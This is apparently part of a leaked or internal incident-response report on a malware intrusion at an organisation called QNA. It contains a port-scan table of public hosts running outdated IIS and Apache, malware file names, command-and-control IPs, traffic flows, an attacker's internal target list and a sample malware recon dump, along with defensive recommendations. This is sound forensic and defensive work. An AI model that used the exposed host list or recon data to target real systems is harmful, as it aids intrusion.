65.107.199.33	80/tcp open http Intoto httpd 1.0
65.122.102.65	22/tcp open ssh (protocol 2.0)
65.122.102.66	443/tcp open tcpwrapped
65.122.102.68	443/tcp open ssl/unknown
65.122.102.70	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.79	80/tcp open http Microsoft IIS webserver 5.0
65.122.102.80	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.85	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.86	80/tcp open http Microsoft IIS webserver 6.0
65.122.102.89	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0 3389/tcp open microsoft-rdp Microsoft Terminal Service
65.122.102.90	80/tcp open http Microsoft IIS webserver 6.0 300 443/tcp open ssl/http Microsoft IIS httpd 6.0
65.122.102.91	22/tcp open ssh OpenSSH 4.6 (protocol 2.0)
65.122.102.95	443/tcp open ssl/unknown
65.122.102.96	80/tcp open http Microsoft IIS webserver 6.0

65.122.102.97	80/tcp open http Apache httpd 2.2.14 ((Win32) mod_ssl/2.2.14 OpenSSL/0.9.8k mod_jk/1.2.28 PHP/5.2.9-1) 443/tcp open ssl/http Apache httpd 2.2.14 ((Win32) mod_ssl/2.2.14 OpenSSL/0.9.8k mod_jk/1.2.28 PHP/5.2.9-1)
65.122.102.98	80/tcp open http Microsoft IIS webserver 6.0 409 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.99	80/tcp open http Microsoft IIS httpd
65.122.102.100	80/tcp open http Microsoft IIS webserver 6.0
65.122.102.109	443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.112	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.114	80/tcp open http Microsoft IIS webserver 6.0
65.122.102.115	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.116	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.117	80/tcp open http Microsoft IIS webserver 6.0
65.122.102.119	80/tcp open http Apache Tomcat/Coyote JSP engine 1.1
65.122.102.120	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.121	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.122	80/tcp open http Microsoft IIS webserver 6.0 443/tcp open ssl/http Microsoft IIS webserver 6.0
65.122.102.124	80/tcp open http Microsoft IIS webserver 6.0
192.149.235.184	22/tcp open ssh (protocol 2.0)

SHD_DMZ	**Open ports**
66.162.42.8	443/tcp open ssl/http Apache httpd
66.162.42.11	443/tcp open ssl/http Microsoft IIS webserver 6.0
66.162.42.14	443/tcp open ssl/http Apache httpd
66.162.42.15	443/tcp open ssl/http Apache httpd
66.162.42.22	443/tcp open ssl/http Apache httpd
66.162.42.23	443/tcp open ssl/http Apache httpd
66.162.42.24	443/tcp open ssl/http Apache httpd

Conclusions

SIS was able to determine that systems within the QNA infrastructure (specifically, from the Huntsville, Albuquerque, and St. Louis locations) showed indications of being infected with several versions and variants of malware.

Through a combination of network monitoring and deep forensic analysis of memory and selected files collected from infected systems, SIS was able to not only verify the initial indicators of compromise provided by QNA, but also locate additional versions of malware (rasauto32.dll, ntshrui.dll), as well as variants of the iprinp.dll (provide different command and control functionality) and rasauto32.dll (contact different hosts). By applying these indicators of

compromise (IOCs) to an iterative analysis and monitoring methodology, SIS has been able to identify additional IOCs, as well as variants of the known IOCs.

Due to factors which include the lack of temporal proximity to the incident as well as actions taken on systems prior to SIS obtaining access to those systems, SIS has not yet been able to identify the initial infection vector that precipitated the incident. These factors also serve to hamper deep forensic analysis of systems, as IOCs and other data become deleted and overwritten. However, SIS has identified additional network- and host-based IOCs beyond those initially provided, as well as the means by which the intruder is able to spread laterally throughout the QNA infrastructure.

Recommendations

International Traffic in Arms Regulations Data

All systems containing ITAR regulated data need to be enumerated.

Take Downs

All known infected machines should be immediately removed/isolated from the network

Engage third parties to initiate efforts to have adversary controlled accounts and machines taken offline

- MSN Messenger/Hotmail accounts
- Command and Control Servers

Domain Name Service

DNS redirection and auditing

- DNS auditing should be enabled on all DNS servers (logs of queries)
- DNS entries for ALL known malware domains should be redirected for ALL hosts

Firewalls

Firewall rules should be deployed to block ALL suspicious netblocks (not just IPs).

Remote Access

Trust relationships between organizations sub-organizations need to be fully understood (accounts, etc).

It is critical that efforts are made to secure and audit all remote entry points

- Externally scanning and IT auditing should be leveraged to enumerate all externally accessible RDP and VPN concentrators
- Audit successful/unsuccessful Citrix access attempts.
- Auditing should be enabled on all remote access attempts.

Email Security

- Increased end user phishing education and training

- All users should be vigilant about the increased likelihood of phishing attempts
- An email filtering solutions should be considered to reduce the likelihood of phishing attempts getting into the organization.

Logging

- Verify that all hosts are currently configured to log all successful and failed login attempts.
- Verify that all Servers are configured to log data to the SIEM
- If Servers are not logging to the SIEM, the log files size should be increased.

Active Scanning/Monitoring

- Scanning should continue for Indicators of Compromise (IoC)
- Network monitoring should continue for suspicious traffic and traffic to known command and control servers.
- Efforts should be made to increase network visibility (> 50%) on both ingress and egress traffic.

Active Directory

Active directory accounts validation and audit.

- Disabling non-used accounts, ensuring older accounts are removed, and questionable/unknown/suspicious this will also include service accounts.
- Accounts must be disabled and set to "Default Deny".

Active Directory IOC search

- Search for AD systems for indicators of compromise, and prioritize those based on "high value" systems (i.e., domain controllers, servers containing sensitive data, etc.).

Privileged accounts must undergo frequent password changes.

- Change at least every 30 days, based on NIST standards

File sharing

- Remove file sharing from systems unless absolutely critical for business use
- Disable all unnecessary mapped drives

Diversion

- Change critical administrator account names
- Hiding the admin accounts
- Add decoy accounts

Active Directory Restrictions

- Review and implement domain restrictions for systems and Active Directory accounts to limit access to sensitive data
- Review and implement domain restrictions for systems and Active Directory accounts to limit access to make sweeping or critical changes
- Restrict policies (e.g.; SeDebug Privileges on workstations)
- Remove user's Active Directory account from local Administrator group
- Set limits on concurrent logins

    - Set to (3) tries before disabling account
- Audit Domain Administrators' accounts to ensure that proper restrictions are applied
- Disallow the ability for Domain Administrators to login directly to any system other than domain controllers.
    - *Contingency 1* - In case there is a need to use a Domain Administrator account to have access to other systems within the network, a temporary account will be created and then deleted upon the completion of its use.
    - *Contingency 2* - Trusted and designated systems used for Domain Administrator logons only. These systems should only have management tools installed on them, and they should not have access to the Internet. Accounts should then be disabled after use
- Logging
    - Event 552 indicates that explicit credentials were used from another account (need to tune for false positives)
    - Host (end user systems) must have login/logoffs captured.
    - Local Event Log storage should be increased on all systems
    - Direct all host logs (i.e., Windows Event Log) to central collection and storage repository
- Change Management
    - Institute a proper change management process
    - Utilize a structured format to allow emergency change control
    - Implement proper auditing of the change management as it is carried out
    - Ensure that proper mechanisms are in place for “roll back” of instituted changes

Appendix A: Network traffic flows from WDT_ANDERSON

The following traffic flows indicate the time and volume of network activity associated with the WDT_ANDERSON system (IP address 10.3.47.118) and each of the known malicious IP addresses (66.228.132.53, 216.15.210.68) associated with this incident.

2010-May-13 00:30:10, 155.83KB, 10.3.47.118:3838 -> 66.228.132.53:443

2010-May-13 00:30:16, 15.72KB, 10.3.47.118:3839 -> 216.15.210.68:443

2010-May-13 00:49:39, 4.41MB, 10.3.47.118:3845 -> 66.228.132.53:443

2010-May-13 00:50:50, 1.13KB, 10.3.47.118:3846 -> 216.15.210.68:443

2010-May-13 00:51:38, 36.14KB, 10.3.47.118:3847 -> 216.15.210.68:443

2010-May-13 00:51:52, 9.18KB, 10.3.47.118:3849 -> 216.15.210.68:443

2010-May-13 00:53:48, 18.25KB, 10.3.47.118:3858 -> 216.15.210.68:443

2010-May-13 01:04:18, 47.23KB, 10.3.47.118:3865 -> 66.228.132.53:443

2010-May-13 01:42:03, 52.06KB, 10.3.47.118:3948 -> 66.228.132.53:443

2010-May-13 01:49:26, 5.63KB, 10.3.47.118:3953 -> 216.15.210.68:443

Appendix B: Contents of file “p1” found on WDT_ANDERSON

The following list of IP addresses was found in the “p1” file in the C:\Windows\temp\temp directory on the WDT_ANDERSON system.

10.10.10.45
10.10.104.13
10.10.104.17
10.10.104.23
10.10.104.25
10.10.112.137
10.10.64.109
10.10.64.110
10.10.64.113
10.10.64.118
10.10.64.119
10.10.64.135
10.10.64.137
10.10.64.140
10.10.64.147
10.10.64.156
10.10.64.163
10.10.64.164
10.10.64.165
10.10.64.166
10.10.64.167
10.10.64.191
10.10.64.193
10.10.64.197
10.10.64.208
10.10.64.98
10.10.72.153
10.10.72.154
10.10.72.169
10.10.72.18

10.10.72.22
10.10.72.23
10.10.72.31
10.10.72.32
10.10.80.142
10.10.80.160
10.10.80.171
10.10.80.23
10.10.80.24
10.10.80.26
10.10.80.36
10.10.88.13
10.10.88.159
10.10.88.163
10.10.88.167
10.10.88.18
10.10.88.185
10.10.88.19
10.10.88.26
10.10.88.33
10.10.96.134
10.10.96.146
10.10.96.149
10.10.96.153
10.10.96.16
10.10.96.160
10.10.96.32
10.2.20.141
10.2.20.39
10.2.20.70
10.2.30.112
10.2.30.140
10.2.30.148
10.2.30.151
10.2.30.156
10.2.30.159
10.2.30.179

10.2.30.184
10.2.30.38
10.2.30.47
10.2.30.49
10.2.30.59
10.2.30.73
10.2.40.100
10.2.40.102
10.2.40.109
10.2.40.110
10.2.40.113
10.2.40.116
10.2.40.128
10.2.40.136
10.2.40.138
10.2.40.146
10.2.40.151
10.2.40.160
10.2.40.166
10.2.40.172
10.2.40.185
10.2.40.189
10.2.40.19
10.2.40.20
10.2.40.21
10.2.40.211
10.2.40.25
10.2.40.33
10.2.40.42
10.2.40.46
10.2.40.70
10.2.40.71
10.2.40.78
10.2.40.81
10.2.40.95
10.2.40.97
10.2.40.99

10.2.50.116
10.2.50.37
10.2.50.52
10.2.50.74
10.2.50.77
10.2.50.89
10.2.50.91
10.2.6.68
10.24.192.100
10.24.192.103
10.24.192.27
10.24.192.29
10.24.192.33
10.24.192.36
10.24.192.50
10.24.192.57
10.24.192.58
10.24.192.61
10.24.192.90
10.24.200.21
10.24.200.32
10.24.64.23
10.255.77.50
10.26.0.46
10.26.0.53
10.26.0.59
10.27.64.21
10.27.64.23
10.27.64.28
10.27.64.34
10.27.64.40
10.27.64.41
10.27.64.59
10.27.64.73
10.27.64.74
10.3.47.116
10.3.49.21

10.3.6.32
10.32.208.22
10.34.16.20
10.34.16.21
10.34.16.23
10.34.16.25
10.34.16.26
10.38.6.111
10.38.6.121
10.38.6.55
10.4.10.24
10.4.10.26
10.4.10.27
10.4.10.28
10.4.10.36
10.4.10.41
10.4.10.48
10.4.10.54
10.4.10.57
10.4.5.21
10.4.6.150
10.4.7.20
10.4.7.25
10.4.7.27
10.4.7.28
10.4.7.31
10.4.7.38
10.4.7.39
10.8.10.110
10.8.10.31
10.8.10.46
10.8.10.62
10.8.10.67
10.8.10.75
10.8.10.76
10.8.10.77
10.8.10.86

10.8.10.97
10.8.10.98

Appendix C: Example of uncompressed data from "ErroInfo.sy"

The following is an example of uncompressed data found in an "ErroInfo.sy" file.

```
Certs Info:
Machine Info:
 <--Services-->
    Alerter
    Application Layer Gateway Service
    Application Management
    Windows Audio
    Background Intelligent Transfer Service
    Computer Browser
    Indexing Service
    ClipBook
    COM+ System Application
    Cryptographic Services
    DCOM Server Process Launcher
    DHCP Client
    Logical Disk Manager Administrative Service
    Logical Disk Manager
    DNS Client
    Error Reporting Service
    Event Log
    COM+ Event System
    Fast User Switching Compatibility
    Help and Support
    Human Interface Device Access
    HTTP SSL
    IMAPI CD-Burning COM Service
    Java Quick Starter
    Server
    Workstation
    TCP/IP NetBIOS Helper
    Messenger
    NetMeeting Remote Desktop Sharing
    Distributed Transaction Coordinator
    Windows Installer
    Network DDE
    Network DDE DSDM
    Net Logon
    Network Connections
    Network Location Awareness (NLA)
    NT LM Security Support Provider
    Removable Storage
    Plug and Play
    IPSEC Services
    Protected Storage
    Remote Access Auto Connection Manager
    Remote Access Connection Manager
    Remote Desktop Help Session Manager
```

```
   Routing and Remote Access
   Remote Registry
   Remote Procedure Call (RPC) Locator
   Remote Procedure Call (RPC)
   QoS RSVP
   Security Accounts Manager
   Smart Card
   Task Scheduler
   Secondary Logon
   System Event Notification
   Windows Firewall/Internet Connection Sharing (ICS)
   Shell Hardware Detection
   Print Spooler
   System Restore Service
   SSDP Discovery Service
   Windows Image Acquisition (WIA)
   MS Software Shadow Copy Provider
   Performance Logs and Alerts
   Telephony
   Terminal Services
   Themes
   Telnet
   Distributed Link Tracking Client
   Universal Plug and Play Device Host
   Uninterruptible Power Supply
   Volume Shadow Copy
   Windows Time
   WebClient
   Windows Management Instrumentation
   Portable Media Serial Number Service
   Windows Management Instrumentation Driver Extensions
   WMI Performance Adapter
   Security Center
   Automatic Updates
   Wireless Zero Configuration
   Network Provisioning Service
<--Installed Softwares-->
   7-Zip 4.65    :
   Microsoft Internationalized Domain Names Mitigation APIs      :
   Windows Internet Explorer 7     :     20070813.185237
   Windows XP Hotfix - KB873339    :     20041117.092459
   Windows XP Hotfix - KB885835    :     20041027.181713
   Windows XP Hotfix - KB885836    :     20041028.173203
   Windows XP Hotfix - KB886185    :     20041021.090540
   Windows XP Hotfix - KB887472    :     20041014.162858
   Windows XP Hotfix - KB888302    :     20041207.111426
   Security Update for Windows XP (KB890046)   :     1
   Windows XP Hotfix - KB890859    :     1
   Windows Genuine Advantage Validation Tool (KB892130)    :
   Security Update for Windows XP (KB893756)   :     1
   Windows Installer 3.1 (KB893803)      :     3.1
   Update for Windows XP (KB894391)      :     1
   Security Update for Windows XP (KB896358)   :     1

   <------ OUTPUT TRUNCATED TO SAVE SPACE ------>

   Security Update for Windows XP (KB973869)   :     1
```

```
    Security Update for Windows XP (KB973904)   :     1
    Security Update for Windows XP (KB974112)   :     1
    Security Update for Windows XP (KB974318)   :     1
    Security Update for Windows XP (KB974392)   :     1
    Security Update for Windows XP (KB974571)   :     1
    Security Update for Windows XP (KB975025)   :     1
    Security Update for Windows XP (KB975467)   :     1
    Hotfix for Windows XP (KB976098-v2)   :     2
    Update for Windows Internet Explorer 7 (KB980182) :     1
    Microsoft National Language Support Downlevel APIs      :
    Paros 3.2.13  :     4.1.8
    Windows Genuine Advantage Validation Tool (KB892130)    :
      1.7.0069.2  1     0
    Windows Genuine Advantage Notifications (KB905474)      :
      1.9.0040.0  2     0
    Windows XP Service Pack 2 :     20040803.231319
    Java(TM) 6 Update 19      :     6.0.190
    WebFldrs XP   :     9.50.6513
    Java Auto Updater   :     2.0.2.1
    Python 2.6.4  :     2.6.4150    Users Info:
 <--admin-->
   <--Recent-->
     CommandHealper_7z.zip.lnk
      <C:\CommandHealper_7z.zip>
     Desktop.ini
     My Pictures.lnk                                    <C:\Documents and
Settings\admin\My Documents\My Pictures>
     SearchAssistant_7z.zip.lnk
      <C:\SearchAssistant_7z.zip>
     test8_7z.zip.lnk                                   <C:\test8_7z.zip>
     testfile_7z.zip.lnk
      <C:\testfile_7z.zip>
     WindowsHelper_7z.zip.lnk
      <C:\WindowsHelper_7z.zip>
   <--Desktop-->
     Paros 3.2.13.lnk
   <--Index-->
```